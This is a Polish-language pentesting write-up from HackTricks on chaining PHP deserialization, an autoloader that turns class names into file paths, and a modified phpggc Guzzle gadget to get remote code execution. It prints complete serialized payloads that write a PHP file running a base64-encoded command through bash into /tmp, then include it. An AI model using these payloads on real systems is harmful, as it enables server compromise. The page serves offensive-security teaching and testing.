hacktricks/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

65 lines
5.5 KiB
Markdown

# PHP - Deserializacja + Autoload Klasy
{{#include ../../banners/hacktricks-training.md}}
Najpierw powinieneś sprawdzić, czym są [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php).
## PHP deserializacja + spl_autoload_register + LFI/Gadget
Jesteśmy w sytuacji, w której znaleźliśmy **deserializację PHP w aplikacji webowej** bez **żadnej** biblioteki podatnej na gadżety w **`phpggc`**. Jednak w tym samym kontenerze była **inna aplikacja webowa z kompozytorem z podatnymi bibliotekami**. Dlatego celem było **załadowanie loadera kompozytora z innej aplikacji webowej** i wykorzystanie go do **załadowania gadżetu, który wykorzysta tę bibliotekę z gadżetem** z aplikacji webowej podatnej na deserializację.
Kroki:
- Znalazłeś **deserializację** i **nie ma żadnego gadżetu** w kodzie bieżącej aplikacji
- Możesz wykorzystać funkcję **`spl_autoload_register`** jak poniżej, aby **załadować dowolny lokalny plik z rozszerzeniem `.php`**
- W tym celu używasz deserializacji, w której nazwa klasy będzie w **`$name`**. **Nie możesz używać "/" ani "."** w nazwie klasy w zserializowanym obiekcie, ale **kod** **zamienia** **podkreślenia** ("\_") **na ukośniki** ("/"). Tak więc nazwa klasy taka jak `tmp_passwd` zostanie przekształcona w `/tmp/passwd.php`, a kod spróbuje ją załadować.\
Przykład **gadżetu** to: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
```
> [!TIP]
> Jeśli masz **upload plików** i możesz przesłać plik z **rozszerzeniem `.php`**, możesz **bezpośrednio nadużyć tej funkcjonalności** i uzyskać już RCE.
W moim przypadku nie miałem nic takiego, ale w **tym samym kontenerze** była inna strona internetowa z **biblioteką podatną na gadżet `phpggc`**.
- Aby załadować tę inną bibliotekę, najpierw musisz **załadować loader composera tej innej aplikacji webowej** (ponieważ loader bieżącej aplikacji nie uzyska dostępu do bibliotek innej). **Znając ścieżkę aplikacji**, możesz to osiągnąć bardzo łatwo za pomocą: **`O:28:"www_frontend_vendor_autoload":0:{}`** (W moim przypadku loader composera znajdował się w `/www/frontend/vendor/autoload.php`)
- Teraz możesz **załadować** loader **innej aplikacji**, więc nadszedł czas, aby **`wygenerować ładunek phpgcc`** do użycia. W moim przypadku użyłem **`Guzzle/FW1`**, co pozwoliło mi **zapisać dowolny plik w systemie plików**.
- UWAGA: **Wygenerowany gadżet nie działał**, aby działał, **zmodyfikowałem** ten ładunek **`chain.php`** z phpggc i ustawiłem **wszystkie atrybuty** klas **z prywatnych na publiczne**. W przeciwnym razie, po deserializacji ciągu, atrybuty utworzonych obiektów nie miały żadnych wartości.
- Teraz mamy sposób na **załadowanie loadera innej aplikacji** i mamy **ładunek phpgc, który działa**, ale musimy **zrobić to w TEJ SAMEJ ŻĄDANIE, aby loader został załadowany, gdy gadżet jest używany**. W tym celu wysłałem zserializowaną tablicę z oboma obiektami, jak:
- Możesz zobaczyć **najpierw ładowanie loadera, a potem ładunek**.
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
- Teraz możemy **utworzyć i zapisać plik**, jednak użytkownik **nie mógł zapisać w żadnym folderze wewnątrz serwera webowego**. Jak widać w ładunku, PHP wywołuje **`system`** z pewnym **base64**, który jest tworzony w **`/tmp/a.php`**. Następnie możemy **ponownie wykorzystać pierwszy typ ładunku**, którego użyliśmy jako LFI, aby załadować loader composera innej aplikacji webowej **do załadowania wygenerowanego pliku `/tmp/a.php`**. Po prostu dodaj go do gadżetu deserializacji:&#x20;
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
**Podsumowanie ładunku**
- **Załaduj autoload composera** innej aplikacji webowej w tym samym kontenerze
- **Załaduj gadżet phpggc** aby wykorzystać bibliotekę z innej aplikacji webowej (początkowa aplikacja webowa podatna na deserializację nie miała żadnego gadżetu w swoich bibliotekach)
- Gadżet **utworzy plik z ładunkiem PHP** w /tmp/a.php z złośliwymi poleceniami (użytkownik aplikacji webowej nie może pisać w żadnym folderze żadnej aplikacji webowej)
- Ostatnia część naszego ładunku użyje **załaduj wygenerowany plik php**, który wykona polecenia
Musiałem **wywołać tę deserializację dwa razy**. W moich testach, za pierwszym razem plik `/tmp/a.php` został utworzony, ale nie załadowany, a za drugim razem został poprawnie załadowany.
{{#include ../../banners/hacktricks-training.md}}